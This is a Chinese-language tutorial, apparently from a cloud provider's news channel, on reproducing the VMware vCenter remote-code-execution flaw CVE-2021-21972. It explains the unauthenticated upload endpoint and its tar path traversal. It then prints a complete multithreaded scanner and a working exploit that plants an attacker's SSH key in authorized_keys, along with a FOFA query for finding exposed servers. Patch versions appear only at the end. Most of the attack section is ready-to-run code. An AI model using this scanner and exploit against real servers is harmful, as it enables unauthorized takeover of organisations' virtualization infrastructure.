您好,登錄后才能下訂單哦!
如何進行vSphere Client RCE CVE-2021-21972復現,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
vSphere 是 VMware 推出的虛擬化平臺套件,包含 ESXi、vCenter Server 等一系列的軟件。其中 vCenter Server 為 ESXi 的控制中心,可從單一控制點統一管理數據中心的所有 vSphere 主機和虛擬機。
vSphere Client(HTML5) 在 vCenter Server 插件中存在一個遠程執行代碼漏洞。未授權的攻擊者可以通過開放 443 端口的服務器向 vCenter Server 發送精心構造的請求,寫入webshell,控制服務器。
VMware vCenter Server: 7.0/6.7/6.5
vCenter Server中的vrops插件存在一些未鑒定權限的敏感接口,其中uploadova接口具有文件上傳功能。
@RequestMapping( value = {"/uploadova"}, method = {RequestMethod.POST} ) public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception { logger.info("Entering uploadOvaFile api"); int code = uploadFile.isEmpty() ? 400 : 200; PrintWriter wr = null; ... response.setStatus(code); String returnStatus = "SUCCESS"; if (!uploadFile.isEmpty()) { try { logger.info("Downloading OVA file has been started"); logger.info("Size of the file received : " + uploadFile.getSize()); InputStream inputStream = uploadFile.getInputStream(); File dir = new File("/tmp/unicorn_ova_dir"); if (!dir.exists()) { dir.mkdirs(); } else { String[] entries = dir.list(); String[] var9 = entries; int var10 = entries.length; for(int var11 = 0; var11 < var10; ++var11) { String entry = var9[var11]; File currentFile = new File(dir.getPath(), entry); currentFile.delete(); } logger.info("Successfully cleaned : /tmp/unicorn_ova_dir"); } TarArchiveInputStream in = new TarArchiveInputStream(inputStream); TarArchiveEntry entry = in.getNextTarEntry(); ArrayList result = new ArrayList();
代碼中,將tar文件解壓后,上傳到/tmp/unicorn_ova_dir
目錄
while(entry != null) { if (entry.isDirectory()) { entry = in.getNextTarEntry(); } else { File curfile = new File("/tmp/unicorn_ova_dir", entry.getName()); File parent = curfile.getParentFile(); if (!parent.exists()) { parent.mkdirs();
上述代碼直接將tar解壓的文件名與/tmp/unicorn_ova_dir
拼接并寫入文件,這里可以使用../
繞過目錄限制。
若目標為Linux環境,可以創建一個文件名為../../home/vsphere-ui/.ssh/authorized_keys
的tar文件,上傳后即可使用SSH連接服務器。
POC來自github:
https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py
#-*- coding:utf-8 -*- banner = """ 888888ba dP 88 `8b 88 a88aaaa8P' .d8888b. d8888P .d8888b. dP dP 88 `8b. 88' `88 88 Y8ooooo. 88 88 88 .88 88. .88 88 88 88. .88 88888888P `88888P8 dP `88888P' `88888P' ooooooooooooooooooooooooooooooooooooooooooooooooooooo @time:2021/02/24 CVE-2021-21972.py C0de by NebulabdSec - @batsu """ print(banner) import threadpool import random import requests import argparse import http.client import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) http.client.HTTPConnection._http_vsn = 10 http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0' TARGET_URI = "/ui/vropspluginui/rest/services/uploadova" def get_ua(): first_num = random.randint(55, 62) third_num = random.randint(0, 3200) fourth_num = random.randint(0, 140) os_type = [ '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)', '(Macintosh; Intel Mac OS X 10_12_6)' ] chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num) ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', '(KHTML, like Gecko)', chrome_version, 'Safari/537.36'] ) return ua def CVE_2021_21972(url): proxies = {"scoks5": "http://127.0.0.1:1081"} headers = { 'User-Agent': get_ua(), "Content-Type": "application/x-www-form-urlencoded" } targetUrl = url + TARGET_URI try: res = requests.get(targetUrl, headers=headers, timeout=15, verify=False, proxies=proxies) # proxies={'socks5': 'http://127.0.0.1:1081'}) # print(len(res.text)) if res.status_code == 405: print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url)) # print("[+] Command success result: " + res.text + "\n") with open("存在漏洞地址.txt", 'a') as fw: fw.write(url + '\n') else: print("[-] " + url + " 沒有發現CVE-2021-21972漏洞.\n") # except Exception as e: # print(e) except: print("[-] " + url + " Request ERROR.\n") def multithreading(filename, pools=5): works = [] with open(filename, "r") as f: for i in f: func_params = [i.rstrip("\n")] # func_params = [i] + [cmd] works.append((func_params, None)) pool = threadpool.ThreadPool(pools) reqs = threadpool.makeRequests(CVE_2021_21972, works) [pool.putRequest(req) for req in reqs] pool.wait() def main(): parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", help="Target URL; Example:http://ip:port") parser.add_argument("-f", "--file", help="Url File; Example:url.txt") # parser.add_argument("-c", "--cmd", help="Commands to be executed; ") args = parser.parse_args() url = args.url # cmd = args.cmd file_path = args.file if url != None and file_path ==None: CVE_2021_21972(url) elif url == None and file_path != None: multithreading(file_path, 10) # 默認15線程 if __name__ == "__main__": main()
EXP來自CSDN:
https://blog.csdn.net/weixin_43650289/article/details/114055417
import tarfile import os from io import BytesIO import requests proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", } def return_zip(): with tarfile.open("test.tar", 'w') as tar: payload = BytesIO() id_rsa_pub = 'ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwgGuwNdSGHKvzHsHt7QImwwJ08Wa/+gHXOt+VwZTD23rLwCGVeYmfKObDY0uFfe2O4jr+sPamgA8As4LwdqtkadBPR+EzZB+PlS66RcVnUnDU4UdMhQjhyj/uv3pdtugugJpB9xaLdrUWwGoOLYA/djxD5hmojGdoYydBezsNhj2xXRyaoq3AZVqh2YLlhpwKnzhodk12a7/7EU+6Zj/ee5jktEwkBsVsDLTTWPpSnzK7r+kAHkbYx8fvO3Fk+9jlwadgbmhHJrpPr8gLEhwvrEnPcK1/j+QXvVkgy2cuYxl9GCUPv2wgZCN50f3wQlaJiektm2S9WkN5dLDdX+X4w==' tarinfo = tarfile.TarInfo(name='../../../home/vsphere-ui/.ssh/authorized_keys') f1 = BytesIO(id_rsa_pub.encode()) tarinfo.size = len(f1.read()) f1.seek(0) tar.addfile(tarinfo, fileobj=f1) tar.close() payload.seek(0) def getshell(url): files = {'uploadFile':open('test.tar','rb')} try: r = requests.post(url=url, files=files,proxies=proxies,verify = False).text print(r) except: print('flase') if __name__ == "__main__": try: return_zip() url="https://192.168.1.1/ui/vropspluginui/rest/services/uploadova" getshell(url) except IOError as e: raise e
fofa搜索title="+ ID_VC_Welcome +"
使用POC驗證漏洞是否存在:
使用EXP上傳tar文件:
成功上傳authorized_keys
vCenter Server7.0版本升級到7.0.U1c
vCenter Server6.7版本升級到6.7.U3l
vCenter Server6.5版本升級到6.5 U3n
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。